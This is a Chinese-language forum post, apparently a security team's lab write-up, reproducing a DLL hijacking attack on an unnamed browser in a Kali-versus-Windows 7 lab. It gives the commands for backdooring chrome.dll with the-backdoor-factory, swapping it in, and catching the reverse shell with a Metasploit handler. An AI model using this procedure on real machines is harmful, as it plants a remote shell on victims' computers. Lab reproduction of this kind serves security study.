搜索

[178] 2020-12-13_DLL劫持漏洞复现

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2020-12-13_DLL劫持漏洞复现 D L L 劫 持   漏 洞 复 现 原 创   路 人 甲   A d m i n   T e a m   2 0 2 0 - 1 2 - 1 3 D L L ( D y n a m i c   L i n k   L i b r a r y ) 文 件 为 动 态 链 接 库 文 件 ， 又 称 " 应 用 程 序 拓 展 " ， 是 软 件 文 件 类 型 。 在 W i n d o w s 中 ， 许 多 应 用 程 序 并 不 是 一 个 完 整 的 可 执 行 文 件 ， 它 们 被 分 割 成 一 些 相 对 独 立 的 动 态 链 接 库 ， 即 D L L 文 件 ， 放 置 于 系 统 中 。 当 我 们 执 行 某 一 个 程 序 时 ， 相 应 的 D L L 文 件 就 会 被 调 用 。 一 个 应 用 程 序 可 使 用 多 个 D L L 文 件 ， 一 个 D L L 文 件 也 可 能 被 不 同 的 应 用 程 序 使 用 ， 这 样 的 D L L 文 件 被 称 为 共 享 D L L 文 件 。 如 果 在 进 程 尝 试 加 载 一 个 D L L 时 没 有 指 定 D L L 的 绝 对 路 径 ， 那 么 W i n d o w s 会 尝 试 去 按 照 顺 序 搜 索 这 些 特 定 目 录 时 下 查 找 这 个 D L L , 只 要 黑 客 能 够 将 恶 意 的 D L L 放 在 优 先 于 正 常 D L L 所 在 的 目 录 ， 就 能 够 欺 骗 系 统 优 先 加 载 恶 意 D L L ， 来 实 现 " 劫 持 " 例 如 ： 对 于 文 件 系 统 ， 如 d o c 文 档 打 开 会 被 应 用 程 序 o f f i c e 打 开 ， 而 o f f i c e 运 行 的 时 候 会 加 载 系 统 的 一 个 d l l 文 件 ， 如 果 我 们 将 用 恶 意 的 d l l 来 替 换 系 统 的 d l l 文 件 ， 就 是 将 D L L 和 d o c 文 档 放 在 一 起 ， 运 行 的 时 候 就 会 在 当 前 目 录 中 找 到 D L L ， 从 而 优 先 系 统 目 录 下 的 D L L 而 被 执 行 。 S R C 也 收 这 类 D L L 劫 持 漏 洞 的 下 面 是 某 浏 览 器 的 D L L 劫 持 攻 击 机   K a l i   1 9 2 . 1 6 8 . 1 2 3 . 1 8 2 靶 机       W i n 7   1 9 2 . 1 6 8 . 1 2 3 . 2 4 3 需 要 用 到   p r o c e x p 6 4 ( 线 程 分 析 工 具 线 程 分 析 工 具 ) 以 及 某 浏 览 器 ， 哈 哈 哈 以 及 某 浏 览 器 ， 哈 哈 哈   表 哥 们 不 要 认 真 哈 。 表 哥 们 不 要 认 真 哈 。
先 找 到 某 浏 览 ， 然 后 查 看 那 些 D L L 文 件 跟 浏 览 器 一 起 启 动 的 将 c h r o m e . d l l   复 制 到   k a l i   里 面 攻 击 机   K a l i   执 行 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / s e c r e t s q u i r r e l / t h e - b a c k d o o r - f a c t o r y   # 下 载 T - B - F
扫 描 注 入 点 扫 描 注 入 点 这 里 一 共 扫 描 出 了 8 3 个 注 入 点   我 们 只 要 随 机 选 择 一 个 注 入 点 就 好 了 这 里 选 择 注 入 点 输 入 注 入 点 前 面 的 数 字 回 车 就 可 以 p i p   i n s t a l l   c a p s t o n e   # c d 到 T - B - F 目 录 安 装 c a p s t o n e 库 . / b a c k d o o r . p y   - f   / r o o t / t b f / t h e - b a c k d o o r - f a c t o r y / c h r o m e . d l l   # 在 t b f 里 面 找 到 b a c k d o o r . p y 脚 本 运 行 . / b a c k d o o r . p y   - f   / r o o t / t b f / t h e - b a c k d o o r - f a c t o r y / c h r o m e . d l l   - s
选 择 完 后 会 自 动 生 成 一 个 带 s h e l l 的 d l l 文 件 进 入 这 个 文 件 夹 内   反 弹 s h e l l 的 d l l 文 件 就 在 这 个 文 件 夹 内 将 C h r o m e . d l l 文 件 复 制 到 过 去 替 换 原 来 文 件 打 开 m s f m s f c o n s o l e u s e   m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / s h e l l _ r e v e r s e _ t c p s e t   L P O R T   4 4 4 4 s e t   L H O S T   1 9 2 . 1 6 8 . 1 2 3 . 1 8 2 e x p l o i t
运 行 可 以 看 到 成 功 上 线 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理